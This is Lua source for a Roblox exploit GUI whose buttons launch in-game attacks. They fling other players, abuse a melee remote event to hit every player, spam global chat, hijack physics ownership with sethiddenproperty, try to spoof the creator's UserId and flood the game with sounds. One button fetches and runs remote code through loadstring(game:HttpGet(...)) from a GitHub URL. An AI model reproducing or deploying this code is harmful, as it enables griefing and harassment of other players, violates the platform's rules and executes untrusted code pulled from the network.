FPos(BasePart, CFrame.new(0, -1.5 ,0), CFrame.Angles(math.rad(-90), 0, 0))
task.wait()
FPos(BasePart, CFrame.new(0, -1.5, 0), CFrame.Angles(0, 0, 0))
task.wait()
end
else
break
end
until BasePart.Velocity.Magnitude > 500 or BasePart.Parent ~= TargetPlayer.Character or TargetPlayer.Parent ~= Players or not TargetPlayer.Character == TCharacter or THumanoid.Sit or Humanoid.Health <= 0 or tick() > Time + TimeToWait
end
workspace.FallenPartsDestroyHeight = 0/0
local BV = Instance.new("BodyVelocity")
BV.Name = "EpixVel"
BV.Parent = RootPart
BV.Velocity = Vector3.new(9e8, 9e8, 9e8)
BV.MaxForce = Vector3.new(1/0, 1/0, 1/0)
Humanoid:SetStateEnabled(Enum.HumanoidStateType.Seated, false)
if TRootPart and THead then
if (TRootPart.CFrame.p - THead.CFrame.p).Magnitude > 5 then
SFBasePart(THead)
else
SFBasePart(TRootPart)
end
elseif TRootPart and not THead then
SFBasePart(TRootPart)
elseif not TRootPart and THead then
SFBasePart(THead)
elseif not TRootPart and not THead and Accessory and Handle then
SFBasePart(Handle)
else
end
BV:Destroy()
Humanoid:SetStateEnabled(Enum.HumanoidStateType.Seated, true)
workspace.CurrentCamera.CameraSubject = Humanoid
repeat
RootPart.CFrame = getgenv().OldPos * CFrame.new(0, .5, 0)
Character:SetPrimaryPartCFrame(getgenv().OldPos * CFrame.new(0, .5, 0))
Humanoid:ChangeState("GettingUp")
table.foreach(Character:GetChildren(), function(_, x)
if x:IsA("BasePart") then
x.Velocity, x.RotVelocity = Vector3.new(), Vector3.new()
end
end)
task.wait()
until (RootPart.Position - getgenv().OldPos.p).Magnitude < 25
workspace.FallenPartsDestroyHeight = getgenv().FPDH
else
end
end
getgenv().Welcome = true
if Targets[1] then for _,x in next, Targets do GetPlayer(x) end else return end
if AllBool then
for _,x in next, Players:GetPlayers() do
SkidFling(x)
end
end
for _,x in next, Targets do
if GetPlayer(x) and GetPlayer(x) ~= Player then
if GetPlayer(x).UserId ~= 1414978355 then
local TPlayer = GetPlayer(x)
if TPlayer then
SkidFling(TPlayer)
end
else
end
elseif not GetPlayer(x) and not AllBool then
end
end
end
end)
end)
end;
task.spawn(C_95);
-- StarterGui.CoolGui.Frame.Page2.Section1.Button.LocalScript
local function C_97()
local script = G2L["97"];
local button = script.Parent
--local input = CoolGui.Frame.Settings
button.MouseButton1Down:connect(function()
--[[
Thomas The Dank Engine:
By: KrystalTeam
Features: Being a dank engine that kill people
Version: 1.0.0.2
--]]
local p = game.Players.LocalPlayer.Character
local weld = Instance.new("Weld",p.Torso)
weld.Part0 = p.Torso
local train = Instance.new("Part",p.Torso)
train.Anchored = true
train.CanCollide = false
train.Size = Vector3.new(3,2,6)
train.CustomPhysicalProperties = PhysicalProperties.new(0,0,0,0,0)
weld.Part1 = train
weld.C1 = CFrame.new(0,0,0) * CFrame.Angles(0,math.rad(180),0)
train.Anchored = false
local TrainMesh = Instance.new("SpecialMesh",train)
TrainMesh.MeshType = Enum.MeshType.FileMesh
TrainMesh.Scale = Vector3.new(0.020,0.020,0.015)
TrainMesh.MeshId = "rbxassetid://431017802"
TrainMesh.TextureId = "rbxassetid://431017809"
local weld2 = Instance.new("Weld",p.Torso)
weld2.Part0 = p.Torso
local Smoke = Instance.new("Part",p.Torso)
Smoke.Anchored = true
Smoke.CanCollide = false
Smoke.Size = Vector3.new(1,1,1)
Smoke.CustomPhysicalProperties = PhysicalProperties.new(0,0,0,0,0)
weld2.Part1 = Smoke
weld2.C1 = CFrame.new(0,-4,3.5)-- * CFrame.Angles(0,math.rad(180),0)
Smoke.Anchored = false
Smoke.Transparency = 1;
local Particle = Instance.new("ParticleEmitter",Smoke)
Particle.Rate = 50;
Particle.Speed = NumberRange.new(30,60);
Particle.VelocitySpread = 4;
Particle.Texture = "rbxassetid://133619974"
local Light = Instance.new("SpotLight",train)
Light.Angle = 45;
Light.Brightness = 100;
Light.Face = Enum.NormalId.Back;
Light.Range = 30;
spawn(function()
while p.Humanoid.Health ~= 0 do
p.Humanoid.WalkSpeed = 60;
wait();
end
end)
for i,v in pairs(p:GetChildren()) do
if v:IsA("Part") then
v.Transparency = 1;
elseif v:IsA("Hat") then
v:Destroy()
elseif v:IsA("Model") then
v:Destroy()
end
end
local function SFX(id) local s=Instance.new("Sound",p.Torso); s.SoundId = "rbxassetid://"..id; s.Volume = 1; return s; end
local Debounce = false
train.Touched:connect(function(p)
if Debounce == false then
Debounce = true
if p.Parent then
if p.Parent:IsA("Model") then
if game.Players:FindFirstChild(p.Parent.Name) then
if p.Parent.Name ~= game.Players.LocalPlayer.Name then
spawn(function()
for i, plr in pairs(game.Players:GetChildren()) do
if plr.Name ~= game.Players.LocalPlayer.Name then
for i = 1, 10 do
game.ReplicatedStorage.meleeEvent:FireServer(plr)
end
end
end
end)
local Whistle = SFX(475073913)
Whistle:Play()
end
end
end
end
wait()
Debounce = false
end
end)
local Music = SFX(8314985437)
Music.Looped = true;
wait(1)
Music:Play();
---------------------------------------------------------------------------------
if game:GetService("ReplicatedStorage"):FindFirstChild("juisdfj0i32i0eidsuf0iok") then
hiddenfling = true
else
hiddenfling = true
detection = Instance.new("Decal")
detection.Name = "juisdfj0i32i0eidsuf0iok"
detection.Parent = game:GetService("ReplicatedStorage")
local function fling()
local hrp, c, vel, movel = nil, nil, nil, 0.1
while true do
game:GetService("RunService").Heartbeat:Wait()
if hiddenfling then
local lp = game.Players.LocalPlayer
while hiddenfling and not (c and c.Parent and hrp and hrp.Parent) do
game:GetService("RunService").Heartbeat:Wait()
c = lp.Character
hrp = c:FindFirstChild("HumanoidRootPart") or c:FindFirstChild("Torso") or c:FindFirstChild("UpperTorso")
end
if hiddenfling then
vel = hrp.Velocity
hrp.Velocity = vel * 10000 + Vector3.new(0, 10000, 0)
game:GetService("RunService").RenderStepped:Wait()
if c and c.Parent and hrp and hrp.Parent then
hrp.Velocity = vel
end
game:GetService("RunService").Stepped:Wait()
if c and c.Parent and hrp and hrp.Parent then
hrp.Velocity = vel + Vector3.new(0, movel, 0)
movel = movel * -1
end
end
end
end
end
fling()
end
end)
end;
task.spawn(C_97);
-- StarterGui.CoolGui.Frame.Page3.Section2.Button.LocalScript
local function C_9d()
local script = G2L["9d"];
local button = script.Parent
--local input = CoolGui.Frame.Settings
button.MouseButton1Down:connect(function()
if game.CreatorType == Enum.CreatorType.User then
game.Players.LocalPlayer.UserId = game.CreatorId
end
if game.CreatorType == Enum.CreatorType.Group then
game.Players.LocalPlayer.UserId = game:GetService("GroupService"):GetGroupInfoAsync(game.CreatorId).Owner.Id
end
end)
end;
task.spawn(C_9d);
-- StarterGui.CoolGui.Frame.Page3.Section2.Button.LocalScript
local function C_9f()
local script = G2L["9f"];
local button = script.Parent
--local input = CoolGui.Frame.Settings
button.MouseButton1Down:connect(function()
local head_attachment = Instance.new("Attachment")
head_attachment.Parent = game.Players.LocalPlayer.Character.Torso
head_attachment.Position = Vector3.new(4.5, -0, 0)
head_attachment.Name = "UFO_attachment"
local player = game.Players.LocalPlayer
local character = player.Character or player.CharacterAdded:Wait()
local UFO = Instance.new("Part")
UFO.Name = "iOrb"
UFO.Parent = character
UFO.Shape = Enum.PartType.Ball
UFO.Size = Vector3.new(1, 1, 1)
UFO.Material = Enum.Material.Neon
UFO.Color = Color3.fromRGB(0, 0, 0)
UFO.CanCollide = false
UFO.Anchored = true
local debrisEmitter = Instance.new("ParticleEmitter")
debrisEmitter.Parent = UFO
debrisEmitter.Texture = "rbxassetid://258128463"
debrisEmitter.Rate = 30
debrisEmitter.Lifetime = NumberRange.new(1, 2)
debrisEmitter.Speed = NumberRange.new(2, 5)
debrisEmitter.Size = NumberSequence.new({NumberSequenceKeypoint.new(0, 0.2), NumberSequenceKeypoint.new(1, 0)})
debrisEmitter.Acceleration = Vector3.new(0, -5, 0)
debrisEmitter.Rotation = NumberRange.new(0, 360)
debrisEmitter.RotSpeed = NumberRange.new(-50, 50)
debrisEmitter.Color = ColorSequence.new(Color3.fromRGB(0, 0, 0), Color3.fromRGB(50, 50, 50))
debrisEmitter.LightEmission = 0.5
local fire = Instance.new("Fire")
fire.Parent = UFO
fire.Size = 2
fire.Heat = 10
fire.Color = Color3.fromRGB(0, 0, 0)
fire.SecondaryColor = Color3.fromRGB(0, 0, 0)
-- Orbit logic
local radius = 5
local speed = 3
local angle = 0
while true do
task.wait(0.05) -- Control the speed of rotation
angle = angle + speed
local playerPosition = character.PrimaryPart.Position
local offsetX = math.cos(math.rad(angle)) * radius
local offsetZ = math.sin(math.rad(angle)) * radius
UFO.Position = playerPosition + Vector3.new(offsetX, 0, offsetZ)
end
local UFO_attachment = Instance.new("Attachment")
UFO_attachment.Parent = UFO
UFO_attachment.Orientation = Vector3.new(0.006, 90, -0.006)
local align_position = Instance.new("AlignPosition")
local align_orientation = Instance.new("AlignOrientation")
align_position.Parent = UFO
align_orientation.Parent = UFO
align_position.Attachment0 = UFO_attachment
align_position.Attachment1 = head_attachment
align_orientation.Attachment0 = UFO_attachment
align_orientation.Attachment1 = head_attachment
local trail = Instance.new("Trail")
trail.Parent = UFO
trail.Attachment0 = UFO_attachment
trail.Attachment1 = head_attachment
local billboard_gui = Instance.new("BillboardGui")
billboard_gui.Parent = UFO
billboard_gui.StudsOffset = Vector3.new(0, 1, 0)
billboard_gui.Adornee = UFO
billboard_gui.Size = UDim2.new(0, 200, 1, 0) -- {0, 200},{1, 0}
local frame = Instance.new("Frame")
frame.BackgroundTransparency = 1
frame.Parent = billboard_gui
frame.Size = UDim2.new(0, 200, 1, 0)
local textlabel = Instance.new("TextLabel")
textlabel.TextSize = 50
textlabel.TextColor3 = Color3.fromRGB(234, 255, 0)
textlabel.TextStrokeColor3 = Color3.fromRGB(204, 0, 204)
textlabel.TextStrokeTransparency = 0
textlabel.Parent = frame
textlabel.Size = UDim2.new(0, 200, 1, 0)
textlabel.BackgroundTransparency = 1
textlabel.Text = ""
textlabel.TextScaled = true
local Players = game:GetService("Players")
Players.PlayerAdded:Connect(function(player)
textlabel.Text = tostring(player.Name .. " joined the game!")
wait(5)
textlabel.Text = ""
end)
Players.PlayerRemoving:Connect(function(player)
textlabel.Text = tostring(player.Name .. " left the game!")
wait(5)
textlabel.Text = ""
end)
local function get_children(object)
local table_ = {}
for i,v in pairs(object:GetChildren()) do
table.insert(table_, v)
if v:IsA("Folder") or v:IsA("Model") then
wait(0)
get_children(v)
end
end
return table_
end
local function is_in_table(object, table_)
for i,v in pairs(table_) do
if v == object then
return true
end
end
return false
end
while true do
local previous_list = get_children(workspace)
wait(0.1)
local next_list = get_children(workspace)
if previous_list ~= next_list then
for i,v in pairs(next_list) do
local exists_now = is_in_table(v, next_list)
local existed_before = is_in_table(v, previous_list)
if exists_now == false then
if v.ClassName ~= v.Name then
textlabel.Text = v.ClassName .. ": " .. v.Name .. " was removed"
else
textlabel.Text = v.Name .. " was removed"
end
end
if exists_now == true and existed_before == false then
if v.ClassName ~= v.Name then
textlabel.Text = v.ClassName .. ": " .. v.Name .. " was instantiated"
else
textlabel.Text = v.Name .. " was instantiated"
end
end
end
end
wait(5)
textlabel.Text = ""
end
end)
end;
task.spawn(C_9f);
-- StarterGui.CoolGui.Frame.Page3.Section2.Button.LocalScript
local function C_a1()
local script = G2L["a1"];
local button = script.Parent
local gui = game.Players.LocalPlayer.PlayerGui.CoolGui
button.MouseButton1Down:connect(function()
gui:Destroy()
end)
end;
task.spawn(C_a1);
-- StarterGui.CoolGui.Frame.Page3.Section2.Button.LocalScript
local function C_a3()
local script = G2L["a3"];
local button = script.Parent
--local input = CoolGui.Frame.Settings
button.MouseButton1Down:connect(function()
-- thanks to moon for this dex / best dex out there
loadstring(game:HttpGet("https://raw.githubusercontent.com/infyiff/backup/main/dex.lua"))()
end)
end;
task.spawn(C_a3);
-- StarterGui.CoolGui.Frame.Page3.Section1.Button.LocalScript
local function C_a7()
local script = G2L["a7"];
local button = script.Parent
local input = script.Parent.Parent.Parent.Parent.Settings.Page.Section2.bgid
local r = script.Parent.Parent.Parent.Parent.Settings.Page2.Section1.are
local g = script.Parent.Parent.Parent.Parent.Settings.Page2.Section1.gee
local b = script.Parent.Parent.Parent.Parent.Settings.Page2.Section1.bee
button.MouseButton1Down:connect(function()
if game.Players.LocalPlayer.Character.Head:FindFirstChild("BillboardGui") then
game.Players.LocalPlayer.Character.Head:FindFirstChild("BillboardGui"):Remove()
end
local plr = game.Players.LocalPlayer.Name
local y = Instance.new("BillboardGui")
y.Size = UDim2.new(0,100,0,150)
y.StudsOffset = Vector3.new(0,1,0)
y.Parent = game.Players[plr].Character.Head
y.Adornee = game.Players[plr].Character.Head
local f = Instance.new("TextLabel")
f.Parent = y
f.BackgroundTransparency = 1
f.Position = UDim2.new(0,0,0,-50)
f.Size = UDim2.new(0,100,0,100)
f.Font = "Arial"
f.FontSize = "Size48"
f.Text = input.Text
f.TextStrokeColor3 = Color3.new(0,0,0)
f.TextColor3 = Color3.new(r.Text/255,g.Text/255,b.Text/255)
f.TextStrokeTransparency = 0
f.TextYAlignment = "Bottom"
end)
end;
task.spawn(C_a7);
-- StarterGui.CoolGui.Frame.Page3.Section1.Button.LocalScript
local function C_a9()
local script = G2L["a9"];
local button = script.Parent
--local input = CoolGui.Frame.Settings
button.MouseButton1Down:connect(function()
presets = {"Bright red","Bright yellow","Bright orange","Bright violet","Bright blue","Bright bluish green","Bright green"}
while true do
wait(0.5)
ye = game.Workspace[game.Players.LocalPlayer.Name]:GetChildren()
for i,v in pairs(ye) do
if v.className == "Part" then
v.BrickColor = BrickColor.new(presets[math.random(1,#presets)])
end
end
end
end)
end;
task.spawn(C_a9);
-- StarterGui.CoolGui.Frame.Page3.Section1.Button.LocalScript
local function C_ab()
local script = G2L["ab"];
local button = script.Parent
--local input = CoolGui.Frame.Settings
button.MouseButton1Down:connect(function()
local platform = Instance.new("Part")
platform.Size = Vector3.new(16, 1, 16)
platform.Transparency = 0.5
platform.Color = Color3.fromRGB(255, 0, 255)
platform.Anchored = true
platform.Parent = workspace
local player_position = game.Players.LocalPlayer.Character.Head.Position
platform.Position = Vector3.new(player_position.X, player_position.Y-5, player_position.Z)
end)
end;
task.spawn(C_ab);
-- StarterGui.CoolGui.Frame.Page3.Section1.Button.LocalScript
local function C_ad()
local script = G2L["ad"];
local button = script.Parent
--local input = CoolGui.Frame.Settings
button.MouseButton1Down:connect(function()
local name = game.Players.LocalPlayer.Name
local p = Instance.new("Part")
p.Parent = workspace
p.Locked = true
p.BrickColor = BrickColor.new("White")
p.BrickColor = BrickColor.new(104)
p.Size = Vector3.new(8, 1.2, 8)
p.Anchored = true
p.Transparency = 0.5
local m = Instance.new("CylinderMesh")
m.Scale = Vector3.new(1, 0.5, 1)
m.Parent = p
while true do
p.CFrame = CFrame.new(game.Players:findFirstChild(name).Character.Torso.CFrame.x, game.Players:findFirstChild(name).Character.Torso.CFrame.y - 4, game.Players:findFirstChild(name).Character.Torso.CFrame.z)
wait()
end
end)
end;
task.spawn(C_ad);
-- StarterGui.CoolGui.Frame.Page3.Section1.Button.LocalScript
local function C_af()
local script = G2L["af"];
local button = script.Parent
local input = script.Parent.Parent.Parent.Parent.Settings.Page.Section1.reid
button.MouseButton1Down:connect(function()
local reachsize = input.Text
local Tool = game.Players.LocalPlayer.Character:FindFirstChildOfClass("Tool") or game.Players.LocalPlayer.Backpack:FindFirstChildOfClass("Tool")
if Tool:FindFirstChild("OGSize3") then
Tool.Handle.Size = Tool.OGSize3.Value
Tool.OGSize3:Destroy()
Tool.Handle.FunTIMES:Destroy()
end
local val = Instance.new("Vector3Value",Tool)
val.Name = "OGSize3"
val.Value = Tool.Handle.Size
local sb = Instance.new("SelectionBox")
sb.Adornee = Tool.Handle
sb.Name = "FunTIMES"
sb.Parent = Tool.Handle
Tool.Handle.Massless = true
Tool.Handle.Size = Vector3.new(Tool.Handle.Size.X,Tool.Handle.Size.Y,reachsize)
end)
end;
task.spawn(C_af);
-- StarterGui.CoolGui.Frame.Page3.Section1.Button.LocalScript
local function C_b1()
local script = G2L["b1"];
local button = script.Parent
local input = script.Parent.Parent.Parent.Parent.Settings.Page2.Section1.animid
local input2 = script.Parent.Parent.Parent.Parent.Settings.Page2.Section1.asid
button.MouseButton1Down:connect(function()
local Anim = Instance.new("Animation")
Anim.AnimationId = "rbxassetid://" .. input.Text
local k = game:GetService("Players").LocalPlayer.Character.Humanoid:LoadAnimation(Anim)
k:Play()
k:AdjustSpeed(input2.Text)
end)
end;
task.spawn(C_b1);
-- StarterGui.CoolGui.Frame.Page3.Section1.Button.LocalScript
local function C_b3()
local script = G2L["b3"];
local button = script.Parent
--local input = CoolGui.Frame.Settings
button.MouseButton1Down:connect(function()
local Chicken = game.Players.LocalPlayer.Name
game.Workspace[Chicken].Torso["Left Shoulder"].C0 = CFrame.new(-1.5, 0.5, 0) * CFrame.fromEulerAnglesXYZ(0,math.pi/2,0) * CFrame.fromEulerAnglesXYZ(math.pi/2, 0, 0) * CFrame.fromEulerAnglesXYZ(0,-math.pi/2,0)
game.Workspace[Chicken].Torso["Left Shoulder"].C1 = CFrame.new(0, 0.5, 0)
game.Workspace[Chicken].Torso["Right Shoulder"].C0 = CFrame.new(1.5, 0.5, 0) * CFrame.fromEulerAnglesXYZ(0,-math.pi/2,0) * CFrame.fromEulerAnglesXYZ(math.pi/2, 0, 0) * CFrame.fromEulerAnglesXYZ(0,-math.pi/2,0)
game.Workspace[Chicken].Torso["Right Shoulder"].C1 = CFrame.new(0, 0.5, 0)
end)
end;
task.spawn(C_b3);
-- StarterGui.CoolGui.Frame.Page3.Section1.Button.LocalScript
local function C_b5()
local script = G2L["b5"];
local button = script.Parent
local input = script.Parent.Parent.Parent.Parent.Settings.Page2.Section2.jumpid
button.MouseButton1Down:connect(function()
game.Players.LocalPlayer.Character.Humanoid.JumpPower = input.Text
end)
end;
task.spawn(C_b5);
-- StarterGui.CoolGui.Frame.Page3.Section1.Button.LocalScript
local function C_b7()
local script = G2L["b7"];
local button = script.Parent
local input = script.Parent.Parent.Parent.Parent.Settings.Page2.Section1.walkid
button.MouseButton1Down:connect(function()
game.Players.LocalPlayer.Character.Humanoid.WalkSpeed = input.Text
end)
end;
task.spawn(C_b7);
-- StarterGui.CoolGui.Frame.Page3.Section1.Button.LocalScript
local function C_b9()
local script = G2L["b9"];
local button = script.Parent
local input = script.Parent.Parent.Parent.Parent.Settings.Page2.Section2.spamid
button.MouseButton1Down:connect(function()
while true do
local args = {
[1] = input.Text,
[2] = "All"
}
game.ReplicatedStorage.DefaultChatSystemChatEvents.SayMessageRequest:FireServer(input.Text, "All")
wait(1.5)
end
end)
end;
task.spawn(C_b9);
-- StarterGui.CoolGui.Frame.Page3.Section1.Button.LocalScript
local function C_bb()
local script = G2L["bb"];
local button = script.Parent
button.MouseButton1Down:connect(function()
for X = 1, math.huge, 0.2 do
wait()
game.Workspace[game.Players.LocalPlayer.Name].Torso.Neck.C0 = CFrame.new(math.sin(X) / 1,1.5,0)
game.Workspace[game.Players.LocalPlayer.Name].Torso.Neck.C1 = CFrame.new(0,0,0)
end
for X = 1, math.huge, 0.1 do
wait()
game.Workspace[game.Players.LocalPlayer.Name].Torso.Neck.C0 = CFrame.new(0,1.5,0) * CFrame.fromAxisAngle(Vector3.new(0,1,0), X)
game.Workspace[game.Players.LocalPlayer.Name].Torso.Neck.C1 = CFrame.new(0,0,0)
end
for _,c in pairs(game.Players:GetChildren()) do
c.Character.Head.Mesh.Scale = Vector3.new(100, 100, 100)
end
for _,c in pairs(game.Players:GetChildren()) do
c.Character.Head.Mesh.Scale = Vector3.new(1.25, 1.25, 1.25)
end
end)
end;
task.spawn(C_bb);
-- StarterGui.CoolGui.Frame.Page3.Section1.Button.LocalScript
local function C_bd()
local script = G2L["bd"];
local button = script.Parent
local input = script.Parent.Parent.Parent.Parent.Settings.Page2.Section2.gravid
button.MouseButton1Down:connect(function()
game.Workspace.Gravity = input.Text
end)
end;
task.spawn(C_bd);
-- StarterGui.CoolGui.Frame.Page3.Section1.Button.LocalScript
local function C_bf()
local script = G2L["bf"];
local button = script.Parent
local input = script.Parent.Parent.Parent.Parent.Settings.Page2.Section2.nameid
button.MouseButton1Down:connect(function()
for a, mod in pairs(game.Players.LocalPlayer.Character:children()) do
if mod:FindFirstChild("TAG") then
game.Players.LocalPlayer.Character.Head.Transparency = 0
mod:Destroy()
end
end
local char = game.Players.LocalPlayer.Character
local model = Instance.new("Model", char)
local clone = char.Head:Clone()
local hum = Instance.new("Humanoid", model)
local weld = Instance.new("Weld", clone)
model.Name = input.Text
clone.Parent = model
hum.Name = "TAG"
hum.MaxHealth = 100
hum.Health = 100
weld.Part0 = clone
weld.Part1 = char.Head
char.Head.Transparency = 1
end)
end;
task.spawn(C_bf);
-- StarterGui.CoolGui.Frame.Page4.Section2.Button.LocalScript
local function C_c5()
local script = G2L["c5"];
local button = script.Parent
local input = script.Parent.Parent.Parent.Parent.Settings.Page.Section1.mid
button.MouseButton1Down:connect(function()
input.Text = "99986264226275"
end)
end;
task.spawn(C_c5);
-- StarterGui.CoolGui.Frame.Page4.Section2.Button.LocalScript
local function C_c7()
local script = G2L["c7"];
local button = script.Parent
local input = script.Parent.Parent.Parent.Parent.Settings.Page.Section1.mid
button.MouseButton1Down:connect(function()
input.Text = "5718908296"
end)
end;
task.spawn(C_c7);
-- StarterGui.CoolGui.Frame.Page4.Section2.Button.LocalScript
local function C_c9()
local script = G2L["c9"];
local button = script.Parent
local input = script.Parent.Parent.Parent.Parent.Settings.Page.Section1.mid
button.MouseButton1Down:connect(function()
input.Text = "146563959"
end)
end;
task.spawn(C_c9);
-- StarterGui.CoolGui.Frame.Page4.Section2.Button.LocalScript
local function C_cb()
local script = G2L["cb"];
local button = script.Parent
local input = script.Parent.Parent.Parent.Parent.Settings.Page.Section1.mid
button.MouseButton1Down:connect(function()
input.Text = "142376088"
end)
end;
task.spawn(C_cb);
-- StarterGui.CoolGui.Frame.Page4.Section1.Button.LocalScript
local function C_cf()
local script = G2L["cf"];
local button = script.Parent
local input = script.Parent.Parent.Parent.Parent.Settings.Page.Section1.sdid
button.MouseButton1Down:connect(function()
input.Text = "78829839839537"
end)
end;
task.spawn(C_cf);
-- StarterGui.CoolGui.Frame.Page4.Section1.Button.LocalScript
local function C_d1()
local script = G2L["d1"];
local button = script.Parent
local input = script.Parent.Parent.Parent.Parent.Settings.Page.Section1.sdid
button.MouseButton1Down:connect(function()
input.Text = "160456772"
end)
end;
task.spawn(C_d1);
-- StarterGui.CoolGui.Frame.Page4.Section1.Button.LocalScript
local function C_d3()
local script = G2L["d3"];
local button = script.Parent
local input = script.Parent.Parent.Parent.Parent.Settings.Page.Section1.sdid
button.MouseButton1Down:connect(function()
input.Text = "358313209"
end)
end;
task.spawn(C_d3);
-- StarterGui.CoolGui.Frame.Page4.Section1.Button.LocalScript
local function C_d5()
local script = G2L["d5"];
local button = script.Parent
local input = script.Parent.Parent.Parent.Parent.Settings.Page.Section1.sdid
button.MouseButton1Down:connect(function()
input.Text = "13513140020"
end)
end;
task.spawn(C_d5);
-- StarterGui.CoolGui.Frame.Page4.Section1.Button.LocalScript
local function C_d7()
local script = G2L["d7"];
local button = script.Parent
local input = script.Parent.Parent.Parent.Parent.Settings.Page.Section1.sdid
button.MouseButton1Down:connect(function()
input.Text = "92836561458826"
end)
end;
task.spawn(C_d7);
-- StarterGui.CoolGui.Frame.Page4.Section1.Button.LocalScript
local function C_d9()
local script = G2L["d9"];
local button = script.Parent
local input = script.Parent.Parent.Parent.Parent.Settings.Page.Section1.sdid
button.MouseButton1Down:connect(function()
input.Text = "891289659"
end)
end;
task.spawn(C_d9);
-- StarterGui.CoolGui.Frame.Page4.Section1.Button.LocalScript
local function C_db()
local script = G2L["db"];
local button = script.Parent
local input = script.Parent.Parent.Parent.Parent.Settings.Page.Section1.sdid
button.MouseButton1Down:connect(function()
input.Text = "18682840631"
end)
end;
task.spawn(C_db);
-- StarterGui.CoolGui.Frame.Page4.Section1.Button.LocalScript
local function C_dd()
local script = G2L["dd"];
local button = script.Parent
local input = script.Parent.Parent.Parent.Parent.Settings.Page.Section1.sdid
button.MouseButton1Down:connect(function()
input.Text = "90335287056545"
end)
end;
task.spawn(C_dd);
-- StarterGui.CoolGui.Frame.Page5.Section2.Button.LocalScript
local function C_e3()
local script = G2L["e3"];
local button = script.Parent
--local input = CoolGui.Frame.Settings
button.MouseButton1Down:connect(function()
local duration = 99999999999999999999 -- integer only, no decimals
if game:GetService("SoundService").RespectFilteringEnabled then return end
local sounds = {}
for i,v in pairs(Game:GetDescendants()) do
if v:IsA("Sound") then
table.insert(sounds,v)
end
end
local con = Game.DescendantAdded:Connect(function(v)
if v:IsA("Sound") then
table.insert(sounds,v)
end
end)
wait(.1)
local start = math.floor(tick())
repeat
for i,v in pairs(sounds) do
v:Play()
v.TimePosition = math.random(0,v.TimeLength * 1000)/1000
task.wait()
end
until math.floor(tick()) == start + duration
con:Disconnect()
for i,v in pairs(sounds) do
v:Stop()
end
end)
end;
task.spawn(C_e3);
-- StarterGui.CoolGui.Frame.Page5.Section2.Button.LocalScript
local function C_e5()
local script = G2L["e5"];
local button = script.Parent
--local input = CoolGui.Frame.Settings
button.MouseButton1Down:connect(function()
local UserInputService = game:GetService("UserInputService")
local Mouse = game:GetService("Players").LocalPlayer:GetMouse()
local Folder = Instance.new("Folder", game:GetService("Workspace"))
local Part = Instance.new("Part", Folder)
local Attachment1 = Instance.new("Attachment", Part)
Part.Anchored = true
Part.CanCollide = false
Part.Transparency = 1
local Updated = Mouse.Hit + Vector3.new(0, 5, 0)
local NetworkAccess = coroutine.create(function()
settings().Physics.AllowSleep = false
while game:GetService("RunService").RenderStepped:Wait() do
for _, Players in next, game:GetService("Players"):GetPlayers() do
if Players ~= game:GetService("Players").LocalPlayer then
Players.MaximumSimulationRadius = 0
sethiddenproperty(Players, "SimulationRadius", 0)
end
end
game:GetService("Players").LocalPlayer.MaximumSimulationRadius = math.pow(math.huge,math.huge)
end
end)
coroutine.resume(NetworkAccess)
local function ForcePart(v)
if v:IsA("Part") and v.Anchored == false and v.Parent:FindFirstChild("Humanoid") == nil and v.Parent:FindFirstChild("Head") == nil and v.Name ~= "Handle" then
Mouse.TargetFilter = v
for _, x in next, v:GetChildren() do
if x:IsA("BodyAngularVelocity") or x:IsA("BodyForce") or x:IsA("BodyGyro") or x:IsA("BodyPosition") or x:IsA("BodyThrust") or x:IsA("BodyVelocity") or x:IsA("RocketPropulsion") then
x:Destroy()
end
end
if v:FindFirstChild("Attachment") then
v:FindFirstChild("Attachment"):Destroy()
end
if v:FindFirstChild("AlignPosition") then
v:FindFirstChild("AlignPosition"):Destroy()
end
if v:FindFirstChild("Torque") then
v:FindFirstChild("Torque"):Destroy()
end
v.CanCollide = false
local Torque = Instance.new("Torque", v)
Torque.Torque = Vector3.new(100000, 100000, 100000)
local AlignPosition = Instance.new("AlignPosition", v)
local Attachment2 = Instance.new("Attachment", v)
Torque.Attachment0 = Attachment2
AlignPosition.MaxForce = 9999999999999999
AlignPosition.MaxVelocity = math.huge
AlignPosition.Responsiveness = 200
AlignPosition.Attachment0 = Attachment2
AlignPosition.Attachment1 = Attachment1
end
end
for _, v in next, game:GetService("Workspace"):GetDescendants() do
ForcePart(v)
end
game:GetService("Workspace").DescendantAdded:Connect(function(v)
ForcePart(v)
end)
UserInputService.InputBegan:Connect(function(Key, Chat)
if Key.KeyCode == Enum.KeyCode.E and not Chat then
Updated = Mouse.Hit + Vector3.new(0, 5, 0)
end
end)
spawn(function()
while game:GetService("RunService").RenderStepped:Wait() do
Attachment1.WorldCFrame = Updated
end
end)
end)
end;
task.spawn(C_e5);
-- StarterGui.CoolGui.Frame.Page5.Section2.Button.LocalScript
local function C_e7()
local script = G2L["e7"];
local button = script.Parent
--local input = CoolGui.Frame.Settings
button.MouseButton1Down:connect(function()
wait(5)
--[[ Info ]]--
local ver = "2.00"
local scriptname = "feFlip"
--[[ Keybinds ]]--
local FrontflipKey = Enum.KeyCode.Z
local BackflipKey = Enum.KeyCode.X
local AirjumpKey = Enum.KeyCode.C
--[[ Dependencies ]]--
local ca = game:GetService("ContextActionService")
local zeezy = game:GetService("Players").LocalPlayer
local h = 0.0174533
local antigrav
--[[ Functions ]]--
function zeezyFrontflip(act,inp,obj)
if inp == Enum.UserInputState.Begin then
zeezy.Character.Humanoid:ChangeState("Jumping")
wait()
zeezy.Character.Humanoid.Sit = true
for i = 1,360 do
delay(i/720,function()
zeezy.Character.Humanoid.Sit = true
zeezy.Character.HumanoidRootPart.CFrame = zeezy.Character.HumanoidRootPart.CFrame * CFrame.Angles(-h,0,0)
end)
end
wait(0.55)
zeezy.Character.Humanoid.Sit = false
end
end
function zeezyBackflip(act,inp,obj)
if inp == Enum.UserInputState.Begin then
zeezy.Character.Humanoid:ChangeState("Jumping")
wait()
zeezy.Character.Humanoid.Sit = true
for i = 1,360 do
delay(i/720,function()
zeezy.Character.Humanoid.Sit = true
zeezy.Character.HumanoidRootPart.CFrame = zeezy.Character.HumanoidRootPart.CFrame * CFrame.Angles(h,0,0)
end)
end
wait(0.55)
zeezy.Character.Humanoid.Sit = false
end
end
function zeezyAirjump(act,inp,obj)
if inp == Enum.UserInputState.Begin then
zeezy.Character:FindFirstChildOfClass'Humanoid':ChangeState("Seated")
wait()
zeezy.Character:FindFirstChildOfClass'Humanoid':ChangeState("Jumping")
end
end
--[[ Binds ]]--
ca:BindAction("zeezyFrontflip",zeezyFrontflip,false,FrontflipKey)
ca:BindAction("zeezyBackflip",zeezyBackflip,false,BackflipKey)
ca:BindAction("zeezyAirjump",zeezyAirjump,false,AirjumpKey)
